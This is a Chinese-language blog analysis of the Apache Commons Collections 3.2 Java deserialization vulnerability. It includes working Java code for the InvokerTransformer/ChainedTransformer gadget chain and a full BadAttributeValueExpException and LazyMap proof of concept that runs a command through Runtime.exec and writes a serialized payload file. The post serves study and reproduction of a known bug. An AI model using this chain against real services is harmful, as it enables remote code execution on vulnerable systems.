Fork me on GitHub

java apache common collections 反序列化分析

打包发布于安全客https://www.anquanke.com/post/id/173459

java apache common collections 反序列化分析

apache common collections是15年左右爆出来的一个反序列化利用链,影响范围广泛。这篇文章中便复现一下这个利用过程。

复现的第一步:项目依赖项配置

新版本的apache common collections添加了对这个漏洞的修复,在apache common collections4中Tranformer类取消了Seralizable,而其他高版本则需要设置环境来允许序列化才可以,因此我们使用旧版本的apache common collections来复现这个漏洞。这里贴一下我的maven的依赖项配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
</dependencies>

pop链分析

apache common collections的反序列化主要依托于transformer这个类,以及TransformedMap类。顾名思义Transformer类适用于描述一个变换过程,而TransformedMap就是将这个变换过程应用到一个Map上对Map进行变换。当我们修改Map中的某个值时就会调用预先设置好的Transformer来对Map进行处理操作。

1
Map transformedMap=TransformedMap.decorate(map,keyTrasnfomer,valueTransformer);

这里便通过一个decorate函数将一个map转换为TranformedMap,并对map的key和value绑定相应的Transformer,当keyvalue改变时便触发对应的Transformertransform方法进行处理动作。

如果想要实现一连串的变换操作则可以通过ChainedTransformer来实现,比如这里我们用于实现RCE的Tranformer链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "/Applications/Calculator.app/Contents/MacOS/Calculator" } //目标机器上反序列化后执行的命令
)
};
Transformer chainedTransformer=new ChainedTransformer(transformers);

实际执行的代码便是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")

也就是Mac下弹计算器的指令。

之后我们便可以构造一个是哟很难过这个chain的TranformedMap,并且触发对这个TransformedMap的处理即可:

1
2
3
4
Map map=new HashMap();
map.put("a","b");
Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
transformedMap.put("a","z");

执行即可发现弹回的计算器。

F0D6679D-9008-4677-84C4-0B76725033AF

RCE构造

我们已经构造出了执行命令的popChain,那样怎样才能找到一个符合条件的RCE?我们需要找到一个满足下列条件的类:

  • 重写了readObject方法
  • 在readObject方法中存在对一个可控的map进行修改的过程

之前的很多文章都是使用的AnnotationInvocationHandler类,然而在我使用的jdk版本(1.8)中该类的readObject方法中并没有找到对map的更改操作。后来参考反序列化自动化工具ysoserial中的CommonsCollections5这个payload实现了其中的一个调用链:利用BadAttributeValueExpException类。我们可以看一下这个类的readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

可以看到这里我们对反序列化传入的对象的成员属性val判断其类型,如果这个变量不是String便会调用val的toString方法。这里如果我们通过反序列化传入的val是一个lazyMap类的entry,在调用其toString方法时便会调用LazyMap.get()从而触发绑定的Transformer的transform方法。但是这里我们的LazyMap类在获取一个不存在的键的时候才会触发transform,因此我们这里可以引入另外一个类TiedMapEntry,这个类在执行toString时可以调用其绑定的map取获取预定的键。

因此这个poc链的执行过程为:

1
2
3
4
5
BadAtrributeValueException对象exception  ->
exception对象的val设置为lazyMap的TiedMapEntry,键为lazyMap中不存在的键 ->
调用entry的toString() ->
调用lazyMap的get方法获取这个不存在的键 ->
调用transform方法

具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer chainedTransformer=new ChainedTransformer(transformers);
/*Map map=new HashMap();
map.put("a","b");
Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
transformedMap.put("a","z");
System.exit(1);*/
Map normalMap=new HashMap();
normalMap.put("hackedby","imagemlt");
Map lazyMap=LazyMap.decorate(normalMap,chainedTransformer);

TiedMapEntry entry=new TiedMapEntry(lazyMap,"foo");

BadAttributeValueExpException exception=new BadAttributeValueExpException(null);
Field valField=exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception,entry);

File f=new File("/tmp/payload.bin");
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(exception);
out.flush();
out.close();

ObjectInputStream in=new ObjectInputStream(new FileInputStream(f));
in.readObject();

image-20190206104745142

后记

这种利用一个Map的pop链就可以让我们想起php的phar反序列化的分析paper中作者挖掘的wordpress的反序列化漏洞也用到了一个类似的对数组进行操作的iterator类,这种利用遍历操作或者绑定动作的操作也可以作为一种分析反序列化漏洞寻找pop链的思路。

参考文献

https://www.freebuf.com/vuls/175252.html

https://github.com/frohoff/ysoserial

http://pirogue.org/2017/12/22/javaSerialKiller/